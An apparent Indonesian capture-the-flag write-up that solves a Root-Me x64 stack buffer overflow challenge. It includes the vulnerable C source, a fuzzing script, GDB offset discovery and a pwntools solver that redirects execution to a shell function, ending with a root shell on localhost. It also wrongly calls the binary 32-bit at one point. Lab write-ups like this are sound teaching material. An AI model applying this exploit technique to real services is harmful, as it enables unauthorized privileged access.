[REDACTED]

Masalah

Diberikan berkas ch35 beserta source code ch35.c yang dijalankan sebagai layanan pada nc localhost 31337.

Penyelesaian

Persiapan

Compile source code ch35.c menjadi binary ch35 dan jalankan berkas ch35 sebagai layanan dengan perintah ini.

$ gcc -o ch35 ch35.c -fno-stack-protector  -Wl,-z,relro,-z,now,-z,noexecstack
$ socat tcp-l:31337,reuseaddr,fork EXEC:./ch35

Pengumpulan Informasi

Periksa jenis binary menggunakan file dan keamanan binary dengan checksec serta jalankan secara normal terlebih dahulu

$ file ch35 
ch35: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=26affd845beb2ab695c4914898d1552315050d8a, not stripped

$ checksec ch35
[*] '/.../ch35'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

$ ./ch35 
dummy
Hello dummy

Arsitektur yang digunakan adalah Linux 32 bit dan menggunakan proteksi NX dan RELRO. Adapun alur program meminta input dan mencetak pesan. Jika melihat source code ada fungsi callMeMaybe yang dapat menyebabkan Shell bisa dieksekusi.

Isi source code ch35.c.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

void callMeMaybe(){
    setreuid(geteuid(), geteuid());
    system("/bin/bash");
}

int main(int argc, char **argv){

    char buffer[256];
    int len, i;

    scanf("%s", buffer);
    len = strlen(buffer); 

    printf("Hello %s\n", buffer);

    return 0;
}

Identifikasi Kelemahan

Ada fungsi scanf yang tidak diproteksi sehingga pengguna bisa memasukkan input yang banyak agar binary crash dan mendapatkan pesan Segmentation Fault. Untuk mengetahui jumlah bytes yang tepat untuk mendapatkan pesan tersebut, gunakan script dibawah ini.

find_segfault_by_input.sh

#!/bin/bash

buffer=""
for i in {1..2048}
do
    echo $i
    buffer+="A"
    echo $buffer > /tmp/delete.me
    ./$1 < /tmp/delete.me
    if [ $? -eq 139 ]; then
        echo "SEGMENTATION FAULT on $i BUFFER"
        break
    fi
done

Luaran.

~ skipped ~
280
Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault      (core dumped)
SEGMENTATION FAULT on 280 BUFFER

Ternyata jumlah bytes yang dapat menyebabkan pesan Segmentation Fault sebesar 280 bytes.

Eksploitasi

Buka GDB, dan periksa stack yang ada dalam binary.

$ perl -e 'printf "A"x280' > /tmp/delete.me
$ gdb -q ch35
gdb-peda$ r < /tmp/delete.me

Luaran.

[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x0 
RCX: 0x7ffffeeb 
RDX: 0x7ffff7dd3780 --> 0x0 
RSI: 0x1 
RDI: 0x1 
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffe1f0 --> 0x1 
RIP: 0x7ffff7a2d800 (<__libc_start_main+192>:    add    al,BYTE PTR [rax])
R8 : 0x0 
R9 : 0x115 
R10: 0x10e 
R11: 0x246 
R12: 0x4005a0 (<_start>:    xor    ebp,ebp)
R13: 0x7fffffffe2c0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
=> 0x7ffff7a2d800 <__libc_start_main+192>:    add    al,BYTE PTR [rax]
   0x7ffff7a2d802 <__libc_start_main+194>:    add    BYTE PTR [rax-0x77],cl
   0x7ffff7a2d805 <__libc_start_main+197>:    rex.R and al,0x70
   0x7ffff7a2d808 <__libc_start_main+200>:    lea    rax,[rsp+0x20]
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe1f0 --> 0x1 
0008| 0x7fffffffe1f8 --> 0x7fffffffe2c8 --> 0x7fffffffe594 ("/home/dummy/Private/progress/root-me/pwn/elf-x64-stack-buffer-overflow-basic/ch35")
0016| 0x7fffffffe200 --> 0x1f7ffcca0 
0024| 0x7fffffffe208 --> 0x4006c6 (<main>:    push   rbp)
0032| 0x7fffffffe210 --> 0x0 
0040| 0x7fffffffe218 --> 0x73a363cf13a78be2 
0048| 0x7fffffffe220 --> 0x4005a0 (<_start>:    xor    ebp,ebp)
0056| 0x7fffffffe228 --> 0x7fffffffe2c0 --> 0x1 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV

Ternyata register RIP belum tertimpa oleh buffer input. Untuk menimpanya, tambahkan sebesar 6 byte sehingga menjadi 286 byte dan gunakan pattern create untuk mendapatan posisi register RIP.

gdb-peda$ pattern create 286 delete.me
gdb-peda$ r < delete.me

Luaran.

[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x0 
RCX: 0x7ffffeeb 
RDX: 0x7ffff7dd3780 --> 0x0 
RSI: 0x1 
RDI: 0x1 
RBP: 0x3425416525414925 ('%IA%eA%4')
RSP: 0x7fffffffe1f0 --> 0x1 
RIP: 0x6625414a2541 ('A%JA%f')
R8 : 0x0 
R9 : 0x115 
R10: 0x10e 
R11: 0x246 
R12: 0x4005a0 (<_start>:    xor    ebp,ebp)
R13: 0x7fffffffe2c0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x6625414a2541
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe1f0 --> 0x1 
0008| 0x7fffffffe1f8 --> 0x7fffffffe2c8 --> 0x7fffffffe594 ("/home/dummy/Private/progress/root-me/pwn/elf-x64-stack-buffer-overflow-basic/ch35")
0016| 0x7fffffffe200 --> 0x1f7ffcca0 
0024| 0x7fffffffe208 --> 0x4006c6 (<main>:    push   rbp)
0032| 0x7fffffffe210 --> 0x0 
0040| 0x7fffffffe218 --> 0xb93cc38ceb862a34 
0048| 0x7fffffffe220 --> 0x4005a0 (<_start>:    xor    ebp,ebp)
0056| 0x7fffffffe228 --> 0x7fffffffe2c0 --> 0x1 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00006625414a2541 in ?? ()

Ternyata register RIP sudah berhasil ditimpa dengan buffer A%JA%f, selanjutnya mencari indeks register RIP pada buffer delete.me.

echo `python -c 'print open("delete.me").read().rstrip().index("A%JA%f")'`

Luaran.

280

Dengan demikian fungsi callMeMaybe bisa dipanggil dengan meletakkan alamatnya pada akhir payload. Alamat fungsi callMeMaybe dapat diketahui dengan perintah dibawah ini.

$ nm ch35 | grep callMeMaybe
0000000000400696 T callMeMaybe

Ini dia script solver.py penyelesaian akhir.

from pwn import *

p = 'A'*280
p += p64(0x0000000000400696)
h = remote('localhost', 31337)
h.sendline(p)
h.interactive()

Luaran.

[+] Opening connection to localhost on port 31337: Done
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)
$ whoami
root

results matching ""

    No results matching ""